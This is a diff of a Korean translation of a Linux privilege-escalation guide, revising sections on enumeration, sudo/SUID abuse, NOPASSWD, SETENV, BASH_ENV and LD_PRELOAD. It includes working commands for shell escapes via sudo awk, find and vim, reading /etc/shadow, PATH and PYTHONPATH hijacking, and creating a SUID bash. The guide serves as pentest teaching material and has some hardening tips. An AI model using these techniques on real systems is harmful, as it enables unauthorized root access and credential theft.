๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์ผ๋ถ€ credentials๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +sniff traffic์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์ผ๋ถ€ credentials๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` timeout 1 tcpdump ``` ## ์‚ฌ์šฉ์ž -### ์ผ๋ฐ˜ ์—ด๊ฑฐ +### Generic Enumeration -์ž์‹ ์ด **๋ˆ„๊ตฌ**์ธ์ง€, ์–ด๋–ค **๊ถŒํ•œ**์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€, ์‹œ์Šคํ…œ์— ์–ด๋–ค **์‚ฌ์šฉ์ž**๊ฐ€ ์žˆ๋Š”์ง€, ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ **login**ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ **root privileges**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: +์ž์‹ ์ด **๋ˆ„๊ตฌ**์ธ์ง€, ์–ด๋–ค **privileges**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€, ์‹œ์Šคํ…œ์— ์–ด๋–ค **users**๊ฐ€ ์žˆ๋Š”์ง€, ์–ด๋–ค ๊ณ„์ •์ด **login**ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ์–ด๋–ค ๊ณ„์ •์ด **root privileges**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -685,23 +680,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### ํฐ UID -์ผ๋ถ€ Linux ๋ฒ„์ „์€ **UID > INT_MAX** ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +์ผ๋ถ€ Linux ๋ฒ„์ „์€ **UID > INT_MAX**์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### ๊ทธ๋ฃน -root ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ๋Š” **์–ด๋–ค ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›**์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”: +root ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ๋Š” **์–ด๋–ค ๊ทธ๋ฃน์˜ ๋ฉค๋ฒ„์ธ์ง€** ํ™•์ธํ•˜์„ธ์š”: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### ํด๋ฆฝ๋ณด๋“œ -๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ํด๋ฆฝ๋ณด๋“œ ์•ˆ์— ํฅ๋ฏธ๋กœ์šด ๋‚ด์šฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” +ํด๋ฆฝ๋ณด๋“œ ์•ˆ์— ํฅ๋ฏธ๋กœ์šด ๊ฒƒ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” (๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -718,27 +713,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### ์•Œ๋ ค์ง„ ๋น„๋ฐ€๋ฒˆํ˜ธ -ํ™˜๊ฒฝ์˜ **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด** ํ•ด๋‹น ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ **๊ฐ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•ด ๋ณด์„ธ์š”**. +ํ™˜๊ฒฝ์˜ **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด** ๊ทธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•ด **๊ฐ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•ด ๋ณด์„ธ์š”**. ### Su Brute -๋งŽ์€ ์†Œ์Œ์„ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์„ ๊ฐœ์˜์น˜ ์•Š๊ณ  ์ปดํ“จํ„ฐ์— `su`์™€ `timeout` ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์žˆ๋‹ค๋ฉด [su-bruteforce](https://github.com/carlospolop/su-bruteforce)๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)๋Š” `-a` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์‚ฌ์šฉ์ž ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…๋„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. +๋งŽ์€ ์†Œ์Œ์„ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์„ ๊ฐœ์˜์น˜ ์•Š๊ณ  ๋Œ€์ƒ ์ปดํ“จํ„ฐ์— `su`์™€ `timeout` ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)๋Š” `-a` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ ์‹œ๋„ํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ## ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ PATH ์•…์šฉ ### $PATH -๋งŒ์•ฝ $PATH์˜ ์ผ๋ถ€ ํด๋”์— **์“ฐ๊ธฐํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋” ์•ˆ์— ์‹คํ–‰๋  ๋ช…๋ น์–ด ์ด๋ฆ„์œผ๋กœ **backdoor๋ฅผ ์ƒ์„ฑ**ํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์ด ๋ช…๋ น์–ด๋Š” ์ด์ƒ์ ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž โ€” root๊ฐ€ โ€” ์‹คํ–‰ํ•  ๊ฒƒ์ด๋ฉฐ) ๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ๋ช…๋ น์–ด๊ฐ€ $PATH์—์„œ ๋‹น์‹ ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋ณด๋‹ค ์•ž์„  ํด๋”์—์„œ **๋กœ๋“œ๋˜์ง€ ์•Š์•„์•ผ** ํ•ฉ๋‹ˆ๋‹ค. +๋งŒ์•ฝ $PATH์˜ ์–ด๋–ค ํด๋”์— **์“ฐ๊ธฐํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, ๋‹น์‹ ์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋” ์•ˆ์— **๋ฐฑ๋„์–ด๋ฅผ ์ƒ์„ฑ**ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฑ๋„์–ด๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(์ด์ƒ์ ์œผ๋กœ๋Š” root)๊ฐ€ ์‹คํ–‰ํ•  ๋ช…๋ น์–ด์˜ ์ด๋ฆ„์ด์–ด์•ผ ํ•˜๋ฉฐ, $PATH์—์„œ ๋‹น์‹ ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋ณด๋‹ค ์•ž์— ์œ„์น˜ํ•œ ํด๋”์—์„œ **๋กœ๋“œ๋˜์ง€ ์•Š๋Š”** ๊ฒƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ### SUDO and SUID -sudo๋กœ ์–ด๋–ค ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ์— suid ๋น„ํŠธ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด ํ™•์ธํ•˜์„ธ์š”: +sudo๋กœ ์–ด๋–ค ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜๋„ ์žˆ๊ณ , ํŒŒ์ผ์— suid ๋น„ํŠธ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์œผ๋กœ ํ™•์ธํ•˜์„ธ์š”: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -์ผ๋ถ€ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ช…๋ น์€ ํŒŒ์ผ์„ ์ฝ๊ณ /๋˜๋Š” ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๊ฑฐ๋‚˜, ์‹ฌ์ง€์–ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.** ์˜ˆ๋ฅผ ๋“ค์–ด: +์ผ๋ถ€ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ช…๋ น์–ด๋“ค์€ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜/๋˜๋Š” ์“ฐ๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.** ์˜ˆ๋ฅผ ๋“ค์–ด: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -749,37 +744,37 @@ less>! ``` ### NOPASSWD -Sudo ๊ตฌ์„ฑ์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ํŠน์ • ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. +Sudo ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ผ๋ถ€ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -์ด ์˜ˆ์ œ์—์„œ ์‚ฌ์šฉ์ž `demo`๋Š” `root` ๊ถŒํ•œ์œผ๋กœ `vim`์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ssh key๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ `sh`๋ฅผ ํ˜ธ์ถœํ•ด shell์„ ์–ป๋Š” ๊ฒƒ์€ ์ด์ œ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. +์ด ์˜ˆ์ œ์—์„œ ์‚ฌ์šฉ์ž `demo`๋Š” `root`๋กœ `vim`์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, root ๋””๋ ‰ํ„ฐ๋ฆฌ์— ssh key๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ `sh`๋ฅผ ํ˜ธ์ถœํ•ด ์‰˜์„ ์–ป๋Š” ๊ฒƒ์€ ์ด์ œ ๋งค์šฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. ``` sudo vim -c '!sh' ``` ### SETENV -์ด ์ง€์‹œ๋ฌธ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์–ด๋–ค ๊ฒƒ์„ ์‹คํ–‰ํ•  ๋•Œ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก** ํ•ฉ๋‹ˆ๋‹ค: +์ด ์ง€์‹œ์–ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋™์•ˆ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -์ด ์˜ˆ์ œ, **based on HTB machine Admirer**, ๋Š” ๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋™์•ˆ ์ž„์˜์˜ python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด **PYTHONPATH hijacking**์— **์ทจ์•ฝ**ํ–ˆ์Šต๋‹ˆ๋‹ค: +์ด ์˜ˆ์ œ๋Š” **HTB machine Admirer ๊ธฐ๋ฐ˜**์œผ๋กœ, ์Šคํฌ๋ฆฝํŠธ๋ฅผ root๋กœ ์‹คํ–‰ํ•  ๋•Œ ์ž„์˜์˜ python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก **PYTHONPATH hijacking**์— **์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep โ†’ root shell +### BASH_ENV๊ฐ€ sudo env_keep์— ์˜ํ•ด ๋ณด์กด๋˜์–ด root shell ํš๋“ If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bashโ€™s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: ๋น„๋Œ€ํ™”์‹ shell์˜ ๊ฒฝ์šฐ, Bash๋Š” `$BASH_ENV`๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ  ๋Œ€์ƒ script์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ํ•ด๋‹น ํŒŒ์ผ์„ sourceํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ sudo ๊ทœ์น™์ด script ๋˜๋Š” shell wrapper๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. `BASH_ENV`๊ฐ€ sudo์— ์˜ํ•ด ๋ณด์กด๋˜๋ฉด, ๋‹น์‹ ์˜ ํŒŒ์ผ์€ root ๊ถŒํ•œ์œผ๋กœ ์†Œ์Šค๋ฉ๋‹ˆ๋‹ค. +- Why it works: ๋น„์ƒํ˜ธ์ž‘์šฉ ์…ธ์—์„œ๋Š” Bash๊ฐ€ `$BASH_ENV`๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ  ๋Œ€์ƒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ํ•ด๋‹น ํŒŒ์ผ์„ sourceํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ sudo ๊ทœ์น™์ด ์Šคํฌ๋ฆฝํŠธ๋‚˜ ์…ธ ๋ž˜ํผ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. sudo๊ฐ€ `BASH_ENV`๋ฅผ ๋ณด์กดํ•˜๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์ด root ๊ถŒํ•œ์œผ๋กœ source๋ฉ๋‹ˆ๋‹ค. - Requirements: -- ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ sudo ๊ทœ์น™(๋น„๋Œ€ํ™”์‹์œผ๋กœ `/bin/bash`๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋Œ€์ƒ์ด๋‚˜, ์–ด๋–ค bash script). -- `BASH_ENV`๊ฐ€ `env_keep`์— ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ (`sudo -l`๋กœ ํ™•์ธ). +- ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ sudo ๊ทœ์น™ (๋น„์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ `/bin/bash`๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋Œ€์ƒ์ด๋‚˜, ์–ด๋–ค bash ์Šคํฌ๋ฆฝํŠธ๋ผ๋„). +- `BASH_ENV`๊ฐ€ `env_keep`์— ํฌํ•จ๋˜์–ด ์žˆ์–ด์•ผ ํ•จ (`sudo -l`๋กœ ํ™•์ธ). - PoC: ```bash @@ -791,14 +786,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- ๋ณด์•ˆ ๊ฐ•ํ™”: -- `env_keep`์—์„œ `BASH_ENV` (๋ฐ `ENV`)๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , `env_reset`์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. -- sudo ํ—ˆ์šฉ ๋ช…๋ น์— ๋Œ€ํ•ด shell wrapper๋ฅผ ํ”ผํ•˜๊ณ , ์ตœ์†Œํ•œ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. -- ๋ณด์กด๋œ env vars๊ฐ€ ์‚ฌ์šฉ๋  ๋•Œ sudo I/O ๋กœ๊น… ๋ฐ ์•Œ๋ฆผ์„ ๊ณ ๋ คํ•˜์„ธ์š”. +- ํ•˜๋“œ๋‹: +- `BASH_ENV` (๋ฐ `ENV`)์„ `env_keep`์—์„œ ์ œ๊ฑฐํ•˜๊ณ  `env_reset` ์‚ฌ์šฉ์„ ๊ถŒ์žฅ. +- sudo-allowed commands์— ๋Œ€ํ•œ shell wrappers๋ฅผ ํ”ผํ•˜๊ณ , ์ตœ์†Œํ•œ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. +- ๋ณด์กด๋œ env vars๊ฐ€ ์‚ฌ์šฉ๋  ๊ฒฝ์šฐ sudo์˜ I/O logging ๋ฐ alerting ๋„์ž…์„ ๊ณ ๋ คํ•˜์„ธ์š”. ### Sudo ์‹คํ–‰ ์šฐํšŒ ๊ฒฝ๋กœ -**Jump**๋ฅผ ์ด์šฉํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ **symlinks**๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด sudoers ํŒŒ์ผ์—์„œ: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump**ํ•˜์—ฌ ๋‹ค๋ฅธ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ **symlinks**๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ: sudoers ํŒŒ์ผ์—์„œ: _hacker10 ALL= (root) /bin/less /var/log/* ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -808,50 +803,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -๋งŒ์•ฝ **wildcard**๊ฐ€ ์‚ฌ์šฉ๋œ๋‹ค๋ฉด (\*) ๋” ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค: +๋งŒ์•ฝ **wildcard**๊ฐ€ ์‚ฌ์šฉ๋œ๋‹ค๋ฉด (\*), ํ›จ์”ฌ ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **๋Œ€์‘์ฑ…**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary ๋ช…๋ น ๊ฒฝ๋กœ ์—†์ด +### Sudo ๋ช…๋ น/SUID ๋ฐ”์ด๋„ˆ๋ฆฌ (๋ช…๋ น ๊ฒฝ๋กœ ์—†์ด) -๋งŒ์•ฝ **sudo permission**์ด ๋‹จ์ผ ๋ช…๋ น์— ๋Œ€ํ•ด **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ ** ๋ถ€์—ฌ๋˜์–ด ์žˆ๋‹ค๋ฉด: _hacker10 ALL= (root) less_ PATH ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ **sudo ๊ถŒํ•œ**์ด ๋‹จ์ผ ๋ช…๋ น์— **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ ** ๋ถ€์—ฌ๋˜์–ด ์žˆ๋‹ค๋ฉด: _hacker10 ALL= (root) less_ PATH ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -์ด ๊ธฐ์ˆ ์€ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ(ํ•ญ์ƒ _**strings**_ ๋กœ ์ด์ƒํ•œ SUID ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•˜์„ธ์š”)**์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ๊ธฐ์ˆ ์€ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ  ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ(ํ•ญ์ƒ ์ด์ƒํ•œ SUID ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋‚ด์šฉ์„ _**strings**_ ๋กœ ํ™•์ธํ•˜์„ธ์š”)**์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [Payload examples to execute.](payloads-to-execute.md) -### SUID ๋ฐ”์ด๋„ˆ๋ฆฌ: ๋ช…๋ น ๊ฒฝ๋กœ๊ฐ€ ์ง€์ •๋œ ๊ฒฝ์šฐ +### SUID binary (๋ช…๋ น ๊ฒฝ๋กœ ํฌํ•จ) -๋งŒ์•ฝ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ๋ช…์‹œํ•˜์—ฌ ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•œ๋‹ค๋ฉด**, suid ํŒŒ์ผ์ด ํ˜ธ์ถœํ•˜๋Š” ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ **export a function**์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ **suid** ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ **๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜์—ฌ ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•œ๋‹ค๋ฉด**, ํ˜ธ์ถœ๋˜๋Š” ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ **export a function** ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด, ๋งŒ์•ฝ suid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ _**/usr/sbin/service apache2 start**_ ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค๋ฉด, ํ•ด๋‹น ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๊ณ  export ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, suid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ _**/usr/sbin/service apache2 start**_ ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค๋ฉด, ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๊ณ  export ํ•˜๋Š” ๊ฒƒ์„ ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ suid ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋Š” ํ‘œ์ค€ C ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(`libc.so`)๋ฅผ ํฌํ•จํ•œ ๋‹ค๋ฅธ ๋ชจ๋“  ๊ฒƒ๋ณด๋‹ค ๋จผ์ € loader๊ฐ€ ๋กœ๋“œํ•  ํ•˜๋‚˜ ์ด์ƒ์˜ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(.so ํŒŒ์ผ)๋ฅผ ์ง€์ •ํ•˜๋Š” ๋ฐ 